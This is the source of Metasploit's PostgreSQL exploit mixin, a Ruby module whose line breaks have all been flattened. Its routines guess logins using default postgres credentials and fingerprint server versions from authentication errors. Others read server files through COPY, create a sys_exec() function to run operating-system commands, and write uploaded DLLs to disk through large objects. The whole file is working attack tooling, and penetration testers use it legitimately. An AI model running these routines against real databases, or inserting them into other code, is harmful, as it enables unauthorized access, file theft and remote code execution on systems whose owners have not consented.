# -*- coding: binary -*- require 'msf/core' module Msf ### # # This module exposes methods for querying a remote PostgreSQL service. # ### module Exploit::Remote::Postgres require 'postgres_msf' require 'base64' include Msf::Db::PostgresPR # @!attribute [rw] postgres_conn # @return [::Msf::Db::PostgresPR::Connection] attr_accessor :postgres_conn # # Creates an instance of a PostgreSQL exploit module. # def initialize(info = {}) super # Register the options that all Postgres exploits may make use of. register_options( [ Opt::RHOST, Opt::RPORT(5432), OptString.new('DATABASE', [ true, 'The database to authenticate against', 'template1']), OptString.new('USERNAME', [ true, 'The username to authenticate as', 'postgres']), OptString.new('PASSWORD', [ false, 'The password for the specified username. Leave blank for a random password.', 'postgres']), OptBool.new('VERBOSE', [false, 'Enable verbose output', false]), OptString.new('SQL', [ false, 'The SQL query to execute', 'select version()']), OptBool.new('RETURN_ROWSET', [false, "Set to true to see query result sets", true]) ], Msf::Exploit::Remote::Postgres) register_autofilter_ports([ 5432 ]) register_autofilter_services(%W{ postgres }) end # @!group Datastore accessors # Return the datastore value of the same name # @return [String] IP address of the target def rhost; datastore['RHOST']; end # Return the datastore value of the same name # @return [Fixnum] TCP port where the target service is running def rport; datastore['RPORT']; end # Return the datastore value of the same name # @return [String] Username for authentication def username; datastore['USERNAME']; end # Return the datastore value of the same name # @return [String] Password for authentication def password; datastore['PASSWORD']; end # Return the datastore value of the same name # @return [String] Database to connect to when authenticating def database; datastore['DATABASE']; end # Return the datastore value of the same name # @return [Boolean] Whether to print verbose output def verbose; datastore['VERBOSE']; end # @!endgroup # Takes a number of arguments (defaults to the datastore for appropriate # values), and will either populate {#postgres_conn} and return # +:connected+, or will return +:error+, +:error_databse+, or # +:error_credentials+ in case of an error. # # Fun fact: if you get +:error_database+, it means your username and # password was accepted (you just failed to guess a correct running database # instance). # # @note This method will first call {#postgres_logout} if the module is # already connected. # # @param opts [Hash] Options for authenticating # @option opts [String] :database The database # @option opts [String] :username The username # @option opts [String] :username The username # @option opts [String] :server IP address or hostname of the target server # @option opts [Fixnum] :port TCP port on :server # # @return [:error_database] if user/pass are correct but database is wrong # @return [:error_credentials] if user/pass are wrong # @return [:error] if some other error occurred # @return [:connected] if everything went as planned def postgres_login(opts={}) postgres_logout if self.postgres_conn db = opts[:database] || datastore['DATABASE'] username = opts[:username] || datastore['USERNAME'] password = opts[:password] || datastore['PASSWORD'] ip = opts[:server] || datastore['RHOST'] port = opts[:port] || datastore['RPORT'] uri = "tcp://#{ip}:#{port}" if Rex::Socket.is_ipv6?(ip) uri = "tcp://[#{ip}]:#{port}" end verbose = opts[:verbose] || datastore['VERBOSE'] begin self.postgres_conn = Connection.new(db,username,password,uri) rescue RuntimeError => e case e.to_s.split("\t")[1] when "C3D000" print_status "#{ip}:#{port} Postgres - Invalid database: #{db} (Credentials '#{username}:#{password}' are OK)" if verbose return :error_database # Note this means the user:pass is good! when "C28000", "C28P01" print_error "#{ip}:#{port} Postgres - Invalid username or password: '#{username}':'#{password}'" if verbose return :error_credentials else print_error "#{ip}:#{port} Postgres - Error: #{e.inspect}" if verbose return :error end end if self.postgres_conn print_good "#{ip}:#{port} Postgres - Logged in to '#{db}' with '#{username}':'#{password}'" if verbose return :connected end end # Logs out of a database instance and sets {#postgres_conn} to nil # # @return [void] def postgres_logout ip = datastore['RHOST'] port = datastore['RPORT'] verbose = datastore['VERBOSE'] if self.postgres_conn self.postgres_conn.close if(self.postgres_conn.kind_of?(Connection) && self.postgres_conn.instance_variable_get("@conn")) self.postgres_conn = nil end print_status "#{ip}:#{port} Postgres - Disconnected" if verbose end # If not currently connected, attempt to connect. If an # error is encountered while executing the query, it will return with # :error ; otherwise, it will return with :complete. # # @param sql [String] The query to run # @param doprint [Boolean] Whether the result should be printed # @return [Hash] def postgres_query(sql=nil,doprint=false) ip = datastore['RHOST'] port = datastore['RPORT'] postgres_login unless self.postgres_conn unless self.postgres_conn return {:conn_error => true} end if self.postgres_conn sql ||= datastore['SQL'] vprint_status "#{ip}:#{port} Postgres - querying with '#{sql}'" begin resp = self.postgres_conn.query(sql) rescue RuntimeError => e case sql_error_msg = e.to_s.split("\t")[1] # Deal with some common errors when "C42601" sql_error_msg += " Invalid SQL Syntax: '#{sql}'" when "C42P01" sql_error_msg += " Table does not exist: '#{sql}'" when "C42703" sql_error_msg += " Column does not exist: '#{sql}'" when "C42883" sql_error_msg += " Function does not exist: '#{sql}'" else # Let the user figure out the rest. if e == Timeout::Error sql_error_msg = 'Execution expired' elsif sql_error_msg.nil? sql_error_msg = e.inspect else sql_error_msg += " SQL statement '#{sql}' returns #{e.inspect}" end end return {:sql_error => sql_error_msg} end postgres_print_reply(resp,sql) if doprint return {:complete => resp} end end # If resp is not actually a Connection::Result object, then return # :error (but not an actual Exception, that's up to the caller. # Otherwise, create a rowset using Rex::Ui::Text::Table (if there's # more than 0 rows) and return :complete. def postgres_print_reply(resp=nil,sql=nil) ip = datastore['RHOST'] port = datastore['RPORT'] verbose = datastore['VERBOSE'] return :error unless resp.kind_of? Connection::Result if resp.rows and resp.fields print_status "#{ip}:#{port} Rows Returned: #{resp.rows.size}" if verbose if resp.rows.size > 0 tbl = Rex::Ui::Text::Table.new( 'Indent' => 4, 'Header' => "Query Text: '#{sql}'", 'Columns' => resp.fields.map {|x| x.name} ) resp.rows.each {|row| tbl << row.map { |x| x.nil? ? "NIL" : x } } print_line(tbl.to_s) end end return :complete end # Attempts to fingerprint a remote PostgreSQL instance, inferring version # number from the failed authentication messages or simply returning the # result of "select version()" if authentication was successful. # # @return [Hash] A hash containing the version in one of the keys :preauth, # :auth, or :unknown, depending on how it was determined # @see #postgres_authed_fingerprint # @see #analyze_auth_error def postgres_fingerprint(args={}) return postgres_authed_fingerprint if self.postgres_conn db = args[:database] || datastore['DATABASE'] username = args[:username] || datastore['USERNAME'] password = args[:password] || datastore['PASSWORD'] rhost = args[:server] || datastore['RHOST'] rport = args[:port] || datastore['RPORT'] uri = "tcp://#{rhost}:#{rport}" if Rex::Socket.is_ipv6?(rhost) uri = "tcp://[#{rhost}]:#{rport}" end verbose = args[:verbose] || datastore['VERBOSE'] begin self.postgres_conn = Connection.new(db,username,password,uri) rescue RuntimeError => e version_hash = analyze_auth_error e return version_hash end return postgres_authed_fingerprint if self.postgres_conn end # Ask the server what its version is # # @return (see #postgres_fingerprint) # @see #postgres_fingerprint def postgres_authed_fingerprint resp = postgres_query("select version()",false) ver = resp[:complete].rows[0][0] return {:auth => ver} end # Matches up filename, line number, and routine with a version. # These all come from source builds of Postgres. TODO: check # in on the binary distros, see if they're different. # # @param e [RuntimeError] The exception raised by Connection.new # @return (see #postgres_fingerprint) # @see #postgres_fingerprint def analyze_auth_error(e) fname,fline,froutine = e.to_s.split("\t")[3,3] fingerprint = "#{fname}:#{fline}:#{froutine}" case fingerprint # Usually, Postgres is on Linux, so let's use that as a baseline. when "Fauth.c:L395:Rauth_failed" ; return {:preauth => "7.4.26-27"} # Failed (bad db, bad credentials) when "Fpostinit.c:L264:RInitPostgres" ; return {:preauth => "7.4.26-27"} # Failed (bad db, good credentials) when "Fauth.c:L452:RClientAuthentication" ; return {:preauth => "7.4.26-27"} # Rejected (maybe good, but not allowed due to pg_hba.conf) when "Fauth.c:L400:Rauth_failed" ; return {:preauth => "8.0.22-23"} # Failed (bad db, bad credentials) when "Fpostinit.c:L274:RInitPostgres" ; return {:preauth => "8.0.22-23"} # Failed (bad db, good credentials) when "Fauth.c:L457:RClientAuthentication" ; return {:preauth => "8.0.22-23"} # Rejected (maybe good) when "Fauth.c:L337:Rauth_failed" ; return {:preauth => "8.1.18-19"} # Failed (bad db, bad credentials) when "Fpostinit.c:L354:RInitPostgres" ; return {:preauth => "8.1.18-19"} # Failed (bad db, good credentials) when "Fauth.c:L394:RClientAuthentication" ; return {:preauth => "8.1.18-19"} # Rejected (maybe good) when "Fauth.c:L414:RClientAuthentication" ; return {:preauth => "8.2.7-1"} # Failed (bad db, bad credentials) ubuntu 8.04.2 when "Fauth.c:L362:Rauth_failed" ; return {:preauth => "8.2.14-15"} # Failed (bad db, bad credentials) when "Fpostinit.c:L319:RInitPostgres" ; return {:preauth => "8.2.14-15"} # Failed (bad db, good credentials) when "Fauth.c:L419:RClientAuthentication" ; return {:preauth => "8.2.14-15"} # Rejected (maybe good) when "Fauth.c:L1003:Rauth_failed" ; return {:preauth => "8.3.8"} # Failed (bad db, bad credentials) when "Fpostinit.c:L388:RInitPostgres" ; return {:preauth => "8.3.8-9"} # Failed (bad db, good credentials) when "Fauth.c:L1060:RClientAuthentication" ; return {:preauth => "8.3.8"} # Rejected (maybe good) when "Fauth.c:L1017:Rauth_failed" ; return {:preauth => "8.3.9"} # Failed (bad db, bad credentials) when "Fauth.c:L1074:RClientAuthentication" ; return {:preauth => "8.3.9"} # Rejected (maybe good, but not allowed due to pg_hba.conf) when "Fauth.c:L258:Rauth_failed" ; return {:preauth => "8.4.1"} # Failed (bad db, bad credentials) when "Fpostinit.c:L422:RInitPostgres" ; return {:preauth => "8.4.1-2"} # Failed (bad db, good credentials) when "Fauth.c:L349:RClientAuthentication" ; return {:preauth => "8.4.1"} # Rejected (maybe good) when "Fauth.c:L273:Rauth_failed" ; return {:preauth => "8.4.2"} # Failed (bad db, bad credentials) when "Fauth.c:L364:RClientAuthentication" ; return {:preauth => "8.4.2"} # Rejected (maybe good) when "Fmiscinit.c:L432:RInitializeSessionUserId" ; return {:preauth => "9.1.5"} # Failed (bad db, bad credentials) when "Fpostinit.c:L709:RInitPostgres" ; return {:preauth => "9.1.5"} # Failed (bad db, good credentials) when "Fauth.c:L302:Rauth_failed" ; return {:preauth => "9.1.6"} # Bad password, good database when "Fpostinit.c:L718:RInitPostgres" ; return {:preauth => "9.1.6"} # Good creds, non-existent but allowed database when "Fauth.c:L483:RClientAuthentication" ; return {:preauth => "9.1.6"} # Bad user when "Fmiscinit.c:L362:RInitializeSessionUserId" ; return {:preauth => "9.4.1-5"} # Bad user when "Fauth.c:L285:Rauth_failed" ; return {:preauth => "9.4.1-5"} # Bad creds, good database when "Fpostinit.c:L794:RInitPostgres" ; return {:preauth => "9.4.1-5"} # Good creds, non-existent but allowed database when "Fauth.c:L481:RClientAuthentication" ; return {:preauth => "9.4.1-5"} # bad user or host # Windows when 'F.\src\backend\libpq\auth.c:L273:Rauth_failed' ; return {:preauth => "8.4.2-Win"} # Failed (bad db, bad credentials) when 'F.\src\backend\utils\init\postinit.c:L422:RInitPostgres' ; return {:preauth => "8.4.2-Win"} # Failed (bad db, good credentials) when 'F.\src\backend\libpq\auth.c:L359:RClientAuthentication' ; return {:preauth => "8.4.2-Win"} # Rejected (maybe good) when 'F.\src\backend\libpq\auth.c:L464:RClientAuthentication' ; return {:preauth => "9.0.3-Win"} # Rejected (not allowed in pg_hba.conf) when 'F.\src\backend\libpq\auth.c:L297:Rauth_failed' ; return {:preauth => "9.0.3-Win"} # Rejected (bad db or bad creds) when 'Fsrc\backend\libpq\auth.c:L302:Rauth_failed' ; return {:preauth => "9.2.1-Win"} # Rejected (bad db or bad creds) when 'Fsrc\backend\utils\init\postinit.c:L717:RInitPostgres' ; return {:preauth => "9.2.1-Win"} # Failed (bad db, good credentials) when 'Fsrc\backend\libpq\auth.c:L479:RClientAuthentication' ; return {:preauth => "9.2.1-Win"} # Rejected (not allowed in pg_hba.conf) # OpenSolaris (thanks Alexander!) when 'Fmiscinit.c:L420:' ; return {:preauth => '8.2.6-8.2.13-OpenSolaris'} # Failed (good db, bad credentials) when 'Fmiscinit.c:L382:' ; return {:preauth => '8.2.4-OpenSolaris'} # Failed (good db, bad credentials) when 'Fpostinit.c:L318:' ; return {:preauth => '8.2.4-8.2.9-OpenSolaris'} # Failed (bad db, bad credentials) when 'Fpostinit.c:L319:' ; return {:preauth => '8.2.10-8.2.13-OpenSolaris'} # Failed (bad db, bad credentials) else return {:unknown => fingerprint} end end # @return [String] The password as provided by the user or a random one if # none has been given. def postgres_password if datastore['PASSWORD'].to_s.size > 0 datastore['PASSWORD'].to_s else 'INVALID_' + Rex::Text.rand_text_alpha(rand(6) + 1) end end # This presumes the user has rights to both the file and to create a table. # If not, {#postgres_query} will return an error (usually :sql_error), # and it should be dealt with by the caller. def postgres_read_textfile(filename) # Check for temp table creation privs first. unless postgres_has_database_privilege('TEMP') return({:sql_error => "Insufficent privileges for #{datastore['USERNAME']} on #{datastore['DATABASE']}"}) end temp_table_name = Rex::Text.rand_text_alpha(rand(10)+6) read_query = %Q{CREATE TEMP TABLE #{temp_table_name} (INPUT TEXT); COPY #{temp_table_name} FROM '#{filename}'; SELECT * FROM #{temp_table_name}} return postgres_query(read_query,true) end # @return [Boolean] Whether the current user has privilege +priv+ on the # current database def postgres_has_database_privilege(priv) sql = %Q{select has_database_privilege(current_user,current_database(),'#{priv}')} ret = postgres_query(sql,false) if ret.keys[0] == :complete ret.values[0].rows[0][0].inspect =~ /t/i ? true : false else return false end end # Creates the function sys_exec() in the pg_temp schema. # @deprecated Just get a real shell instead def postgres_create_sys_exec(dll) q = "create or replace function pg_temp.sys_exec(text) returns int4 as '#{dll}', 'sys_exec' language c returns null on null input immutable" resp = postgres_query(q); if resp[:sql_error] print_error "Error creating pg_temp.sys_exec: #{resp[:sql_error]}" return false end return true end # This presumes the pg_temp.sys_exec() udf has been installed, almost # certainly by postgres_create_sys_exec() # # @deprecated Just get a real shell instead def postgres_sys_exec(cmd) print_status "Attempting to Execute: #{cmd}" q = "select pg_temp.sys_exec('#{cmd}')" resp = postgres_query(q) if resp[:sql_error] print_error resp[:sql_error] return false end return true end # Uploads the given local file to the remote server # # @param fname [String] Name of a file on the local filesystem to be # uploaded # @param remote_fname (see #postgres_upload_binary_data) # @return (see #postgres_upload_binary_data) def postgres_upload_binary_file(fname, remote_fname=nil) data = File.read(fname) postgres_upload_binary_data(data, remote_fname) end # Writes data to disk on the target server. # # This is accomplished in 5 steps: # 1. Create a new object with "select lo_create(-1)" # 2. Delete any resulting rows in pg_largeobject table. # On 8.x and older, postgres inserts rows as a result of the call to # lo_create. Deleting them here approximates the state on 9.x where no # such insert happens. # 3. Break the data into LOBLOCKSIZE-byte chunks. # 4. Insert each of the chunks as a row in pg_largeobject # 5. Select lo_export to write the file to disk # # @param data [String] Raw binary to write to disk # @param remote_fname [String] Name of the file on the remote server where # the data will be stored. Default is ".dll" # @return [nil] if any part of this process failed # @return [String] if everything went as planned, the name of the file we # dropped. This is really only useful if +remote_fname+ is nil def postgres_upload_binary_data(data, remote_fname=nil) remote_fname ||= Rex::Text::rand_text_alpha(8) + ".dll" # From the Postgres documentation: # SELECT lo_creat(-1); -- returns OID of new, empty large object # Doing it this way instead of calling lo_create with a random number # ensures that we don't accidentally hit the id of a real object. resp = postgres_query "select lo_creat(-1)" unless resp and resp[:complete] and resp[:complete].rows[0] print_error "Failed to get a new loid" return end oid = resp[:complete].rows[0][0].to_i queries = [ "delete from pg_largeobject where loid=#{oid}" ] # Break the data into smaller chunks that can fit in the size allowed in # the pg_largeobject data column. # From the postgres documentation: # "The amount of data per page is defined to be LOBLKSIZE (which is # currently BLCKSZ/4, or typically 2 kB)." # Empirically, it seems that 8kB is fine on 9.x, but we play it safe and # stick to 2kB. chunks = [] while ((c = data.slice!(0..2047)) && c.length > 0) chunks.push c end chunks.each_with_index do |chunk, pageno| b64_data = postgres_base64_data(chunk) insert = "insert into pg_largeobject (loid,pageno,data) values(%d, %d, decode('%s', 'base64'))" queries.push( "#{insert}"%[oid, pageno, b64_data] ) end queries.push "select lo_export(#{oid}, '#{remote_fname}')" # Now run each of the queries we just built queries.each do |q| resp = postgres_query(q) if resp && resp[:sql_error] print_error "Could not write the library to disk." print_error resp[:sql_error] # Can't really recover from this, bail return nil end end return remote_fname end # Calls {#postgres_base64_data} with the contents of file +fname+ # # @param fname [String] Name of a file on the local system # @return (see #postgres_base64_data) def postgres_base64_file(fname) data = File.open(fname, "rb") {|f| f.read f.stat.size} postgres_base64_data(data) end # Converts data to base64 with no newlines # # @param data [String] Raw data to be base64'd # @return [String] A base64 string suitable for passing to postgresql's # decode(..., 'base64') function def postgres_base64_data(data) [data].pack("m*").gsub(/\r?\n/,"") end # Creates a temporary table to store base64'ed binary data in. # # @deprecated No longer necessary since we can insert base64 data directly def postgres_create_stager_table tbl = Rex::Text.rand_text_alpha(8).downcase fld = Rex::Text.rand_text_alpha(8).downcase resp = postgres_query("create temporary table #{tbl}(#{fld} text)") if resp[:sql_error] print_error resp[:sql_error] return false end return [tbl,fld] end end end